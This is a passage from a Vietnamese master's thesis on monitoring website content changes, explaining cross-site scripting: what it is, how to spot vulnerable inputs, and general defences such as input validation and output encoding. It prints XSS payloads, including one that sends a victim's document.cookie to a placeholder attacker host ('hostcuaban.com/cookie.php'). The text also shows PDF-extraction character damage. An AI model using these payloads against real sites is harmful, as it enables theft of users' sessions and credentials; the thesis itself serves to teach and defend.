Tấn công XSS (Cross Site Scripting)

Một phần của tài liệu (LUẬN văn THẠC sĩ) nghiên cứu xây dựng hệ thống giám sát sự thay đổi nội dung website (Trang 32 - 36)

1.5. Một số kỹ thuật tấn công Website

1.5.2. Tấn công XSS (Cross Site Scripting)

1.5.2.1. XSS là gì

Cross-Site Scripting (XSS) là một trong những kĩ thuật tấn công phổ biến nhất hiên nay, đồng thời nó cũng là một trong những vấn đề bảo mật quan trọng đối với các nhà phát triển web và cả những người sử dụng web. Bất kì một website

nào cho phép người sử dụng đăng thơng tin mà khơng có sự kiểm tra chặt chẽ các đoạn mã nguy hiểm thì đều có thể tiềm ẩn các lỗi XSS.

Cross-Site Scripting hay còn được gọi tắt là XSS (thay vì gọi tắt là CSS để tránh nhầm lẫn với CSS-Cascading Style Sheet của HTML) là một kĩ thuật tấn công bằng cách chèn vào các website động (ASP, PHP, CGI, JSP ...) những thẻ HTML hay những đoạn mã script nguy hiểm có thể gây nguy hại cho những nạn nhân sử dụng.

Về cơ bản XSS cũng như SQL Injection hay Source Injection, nó cũng là các yêu cầu (request) được gửi từ các máy trạm (client) tới máy chủ (server) nhằm chèn vào đó các thơng tin vượt q tầm kiểm sốt của máy chủ.

Code:

http://www.example.com/search.cgi?query=<script>alert('XSS was found !');</script>

Và rất có thể trình duyệt của bạn sẽ hiện lên một thơng báo "XSS was found !". Các đoạn mã trong thẻ <script> khơng hề bị giới hạn bởi chúng hồn tồn có thể thay thế bằng một file nguồn trên một máy chủ khác thơng qua thuộc tính src của thẻ <script>. Cũng chính vì lẽ đó mà chúng ta chưa thể lường hết được độ nguy hiểm của các lỗi XSS.

Nhưng nếu như các kĩ thuật tấn cơng khác có thể làm thay đổi được dữ liệu nguồn của webserver (mã nguồn, cấu trúc, cơ sở dữ liệu) thì XSS chỉ gây tổn hại đối với website ở phía client mà nạn nhân trực tiếp là những người khách duyệt trang web đó. Tất nhiên đơi khi các hacker cũng sử dụng kĩ thuật này để phá huỷ các website nhưng đó vẫn chỉ tấn công vào bề mặt của website.

Mục tiêu tấn cơng của XSS khơng ai khác chính là những người sử dụng khác của website, khi họ vơ tình vào các trang có chứa các đoạn mã nguy hiểm do các hacker để lại họ có thể bị chuyển tới các website khác, đặt lại trang chủ (homepage), hay nặng hơn là mất mật khẩu, mất cookie thậm chí máy tính bạn có thể sẽ bị cài các loại virus, backdoor, worm ...

1.5.2.2. Tấn công XSS

+ Nhận biết website bị mắc lỗi XSS:

Thường thì XSS có thể xảy ra ở chỗ nào mà người dùng có thể nhập dữ liệu vào và sau đó sẽ nhận được một cái gì đó. Nên thường chúng ta sẽ kiểm tra ở những ô đăng nhập (login form) đầu vào. Khi nhập một chuỗi kí tự nào đó mà kết quả của server trả về có dính tới chuỗi mà bạn nhập thì rất có khả năng trang đó bị mắc lỗi XSS .

Hình 1.3. Mơ hình tấn cơng XXS (Cross-Site Scripting)

Thông thường kẻ tấn công (attacker) sử dụng XSS để lấy các thông tin quan trọng: cookie, user name và password. Ở đây sử dụng XSS để đánh cắp cookie của

+ Cách chèn script: - Sử dụng Java script: Code: javascript: alert(document.cookie) - Dùng file.php: CODE javascript:location="http://hostcuaban/cookie.php?cookie="+(docum ent.cookie)

Hàm location để chuyển trình duyệt đến 1 trang khác, lúc đó document.cookie sẽ thay bằng giá trị cookie.

XSS giúp đánh cắp (steal) được cookie của nạn nhân (victim), khai thác trên trình duyệt như sau:

CODE

http://sitexss.com/index.php?act=<script>location="http://hostcuaban.com/c ookie.php?cookie="+(document.cookie)

</script>

1.5.2.3. Phịng chống tấn cơng bằng XSS

Nếu như các bạn sử dụng các mã nguồn của các chương trình có sẵn, bạn có thể tham khảo danh sách các lỗ hổng của chương trình bạn trên các trang web chứa các thông tin về bảo mật như securityfocus.com, securiteam.com,... Tuy nhiên nếu các website được tự viết mã nguồn thì bạn khơng thể áp dụng phương pháp trên. Trong trường hợp này bạn cần đến các chương trình dị tìm kiếm (scanner) tự động. Nếu như bạn sử dụng trong môi trường Windows bạn có thể

dùng N-Stealth hay AppScan, đó là những chương trình quét tìm khá tuyệt, bạn không chỉ kiểm tra được các lỗi XSS mà nó cịn cho phép bạn kiểm tra các lỗi khác trong website đó, server đó.

Người ta khơng lường hết được mức độ nguy hiểm của XSS nhưng cũng khơng q khó khăn để ngăn ngừa XSS. Có rất nhiều cách để có thể giải quyết vấn đề này như:

+ Chỉ chấp nhận những dữ liệu hợp lệ. + Từ chối nhận các dữ liệu hỏng.

+ Liên tục kiểm tra và thanh lọc dữ liệu.

Tuy nhiên trên thực tế, một số trường hợp bạn phải chấp nhận mọi loại dữ liệu hay khơng có một bộ lọc phù hợp. Chính vì vậy phải có những cách riêng để giải quyết. Một trong những cách hay sử dụng là bạn mã hố các kí tự đặc biệt trước khi in ra website, nhất là những gì có thể gây nguy hiểm cho người sử dụng.

Với phương pháp này cũng có thể áp dụng đối với các ngôn ngữ Web Application khác (ASP, PHP...). Để kiểm tra việc lọc và mã hoá dữ liệu trước khi in ra, các bạn có thể dùng một chương trình được viết bằng ngơn nhữ PHP, đặc biệt nó được thiết kế để phịng chống các lỗi XSS.

Một phần của tài liệu (LUẬN văn THẠC sĩ) nghiên cứu xây dựng hệ thống giám sát sự thay đổi nội dung website (Trang 32 - 36)

Tải bản đầy đủ (PDF)

(88 trang)